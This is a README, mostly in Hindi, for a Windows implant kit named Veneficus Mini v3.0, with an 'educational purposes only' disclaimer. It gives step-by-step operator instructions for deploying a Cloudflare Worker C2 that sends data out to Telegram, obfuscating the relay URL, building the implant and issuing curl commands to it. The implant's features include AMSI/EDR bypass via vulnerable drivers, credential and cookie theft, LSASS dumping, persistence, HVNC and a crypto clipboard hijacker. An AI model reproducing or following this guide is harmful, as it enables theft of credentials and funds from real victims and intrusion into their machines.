Veneficus Mini v3.0

Windows 10/11 x64 इम्प्लांट किट: एक PowerShell stager, एक Rust PE, और एक Cloudflare Worker जो ऑपरेटर को Telegram पर पेज करता है।

stager (resources/loader.ps1) का उद्देश्य वर्तमान PowerShell प्रक्रिया में AMSI को शांत करना, Worker के /beacon रूट से इम्प्लांट खींचना, और इसे %TEMP%\MicrosoftEdgeUpdate.exe के रूप में लॉन्च करना है। फिर PE होस्ट को sandbox/analyst artefacts के लिए स्कोर करता है। उच्च स्कोर बाइनरी को मिटा देता है; मध्यम स्कोर "safe mode" में प्रवेश करता है (केवल fingerprint); निम्न स्कोर पूरा स्टैक चलाता है — AMSI/ETW पैच, नामित EDR प्रक्रियाओं के विरुद्ध एक BYOVD पूल, ब्राउज़र क्रेडेंशियल चोरी, एक LSASS डंप चेन, WMI/scheduled-task/Run persistence, एक localhost SOCKS5 प्रॉक्सी, एक localhost HVNC/RFB लिसनर, और क्रिप्टो पतों के लिए एक क्लिपबोर्ड क्लिपर। एक jittered HTTPS लूप बीकन करता है और एक छोटे कमांड सेट (/status, /proxy_on, /self_destruct, /re_infect, /sleep, safe-mode toggles) को पोल करता है। Exfil AES-256-GCM है जिसमें HMAC है, कुंजी कंपाइल समय पर बेक किए गए UUID से बनाई जाती है; Worker को कुंजी रखे बिना ciphertext अग्रेषित करना चाहिए।

यह रिपॉज़िटरी शिक्षा और विश्लेषण के लिए प्रकाशित की गई है। क्या लागू किया गया है बनाम क्या स्टब किया गया है, इसका फ़ाइल-दर-फ़ाइल पठन VENEFICUS_MINI_v3_DEEP_ANALYSIS.md में है।

केवल शैक्षिक उद्देश्यों के लिए। 2026 सर्वाधिकार उलटे।

आर्किटेक्चर

VICTIM MACHINE
  loader.ps1 (AMSI/ETW bypass → download → execute)
    └── veneficus_mini.exe
          ├── Environment assessment (sandbox/VM/analyst detection)
          ├── Stealth: syscall bypass chain, lacuna stack-spoof, DKOM, AMSI/ETW patch
          ├── BYOVD: kill EDR processes (K7RKScan, ThrottleStop, BdApi, TrueSight, wsftprm, RTCore64)
          ├── Payload: creds, cookies, LSASS dump, device fingerprint
          ├── Persistence: WMI / Scheduled Task / Registry (three-way fallback)
          ├── SOCKS5 proxy (127.0.0.1:1080 by default, configurable)
          ├── HVNC (127.0.0.1:5900 by default, configurable)
          ├── Clipper: crypto address hijacking (BTC, ETH, LTC, XMR, DOGE, SOL, XRP, BNB, USDT)
          └── C2 loop: AES-GCM encrypted poll every 10 ± 3s (safe mode: 60 ± 18s)
                ↕ HTTPS
CLOUDFLARE WORKER
  /beacon   → implant download
  /exfil    → receive encrypted data → forward ciphertext to Telegram
  /commands → return queued commands (one-time queue)
  /config   → return operator config blob
  /admin    → queue commands  (requires X-Admin-Key)
  /register → register UUID   (requires X-Admin-Key)
  /unregister → revoke UUID   (requires X-Admin-Key)
  /listing  → list all UUIDs (requires X-Admin-Key)
  /set_config → push config  (requires X-Admin-Key)
                ↓
TELEGRAM BOT
  Receives: ciphertext + nonce + HMAC (operator decrypts offline)

पूर्वापेक्षाएँ

घटक	इंस्टॉल कैसे करें
Rust + cargo	`curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs \| sh`
Windows cross-compile target	`rustup target add x86_64-pc-windows-gnu`
MinGW cross-linker	`sudo apt install mingw-w64`
Wrangler (CF Worker CLI)	`npm install -g wrangler`

सेटअप

1. Cloudflare Worker

wrangler login
wrangler init veneficus-relay
# Replace worker.js with cloudflare/worker.js

wrangler secret put TELEGRAM_TOKEN     # from @BotFather
wrangler secret put TELEGRAM_CHAT_ID   # your chat/group ID
wrangler secret put ADMIN_KEY          # random 32-char secret

wrangler kv:namespace create "UUID_KV"
wrangler kv:namespace create "COMMANDS_KV"
wrangler kv:namespace create "CONFIG_KV"

# Add KV bindings to wrangler.toml:
#   [[kv_namespaces]]
#   binding = "UUID_KV"
#   id = "<uuid_kv_id>"
#   (repeat for COMMANDS_KV, CONFIG_KV)

wrangler deploy

2. Relay URL जनरेट करें

import base64
url = b"https://your-worker.workers.dev"
key = 0xAF
enc = bytes([b ^ key for b in url])
print(base64.b64encode(enc).decode())   # → set as RELAY_URL_BYTES

3. बिल्ड

RELAY_URL_BYTES="<output_above>" \
BYOVD_DRIVER_DIR="./drivers" \
TOOLS_DIR="./tools" \
cargo build --release --target x86_64-pc-windows-gnu

बिल्ड से पहले कमजोर ड्राइवर .sys फ़ाइलें drivers/ में और टूल बाइनरी tools/ में रखें।

4. इम्प्लांट UUID रजिस्टर करें

बाइनरी से UUID पढ़ें (बिल्ड समय पर बेक किया गया):

strings target/x86_64-pc-windows-gnu/release/veneficus_mini.exe | grep -E "[0-9a-f]{8}-[0-9a-f]{4}"

admin API के माध्यम से रजिस्टर करें:

curl -X POST https://your-worker.workers.dev/register \
  -H "X-Admin-Key: YOUR_ADMIN_KEY" \
  -H "Content-Type: application/json" \
  -d '{"implant_uuid":"<uuid>","note":"op_blackbird_host01"}'

5. ऑपरेटर कॉन्फ़िग पुश करें (clipper पते, आदि)

curl -X POST https://your-worker.workers.dev/set_config \
  -H "X-Admin-Key: YOUR_ADMIN_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "implant_uuid": "global",
    "config": {
      "clipper_addresses": {
        "bitcoin":  "bc1qyourwallethere",
        "ethereum": "0xYOURWALLETHERE"
      },
      "reinfect_url": "https://your-worker.workers.dev/beacon"
    }
  }'

C2 कमांड

/admin एंडपॉइंट के माध्यम से भेजें:

curl -X POST https://your-worker.workers.dev/admin \
  -H "X-Admin-Key: YOUR_ADMIN_KEY" \
  -H "Content-Type: application/json" \
  -d '{"implant_uuid":"<uuid>","command":"/status"}'

कमांड	प्रभाव
`/self_destruct`	3-pass wipe + event log clear + exit
`/re_infect`	Download new payload from `reinfect_url` in config, replace self
`/status`	Send PID, proxy state, safe-mode, UUID back to C2
`/proxy_on`	Enable SOCKS5 proxy
`/proxy_off`	Disable SOCKS5 proxy
`/exit_safe`	Leave safe mode, resume full operation
`/enter_safe`	Enter safe mode (fingerprint only)
`/sleep <secs>`	Override base C2 poll interval

फ़ॉलबैक चेन

मॉड्यूल	चेन (बाएँ = पहले प्रयास)
BYOVD	K7RKScan → BdApiUtil64 → TrueSight → ThrottleStop → STProcessMonitor → wsftprm → RTCore64 → capcom → disable blocklist
LSASS	MiniDumpWriteDump (native) → WDigest patch → LSA Whisperer → DumpGuard → PPL bypass (RTCore64)
NTLM	PrinterBug → PetitPotam → cross-protocol relay (HTTP→LDAP) → CVE-2025-33073 → MSSQL relay
Syscalls	Tartarus Gate → Halo's Gate → ntdll unhook → indirect → standard WinAPI
DKOM	EPROCESS unlink → PspChained enumeration → EDR callback unregister
Persistence	WMI subscription → Scheduled Task → HKLM Run key

सबसे लोकप्रिय

veneficus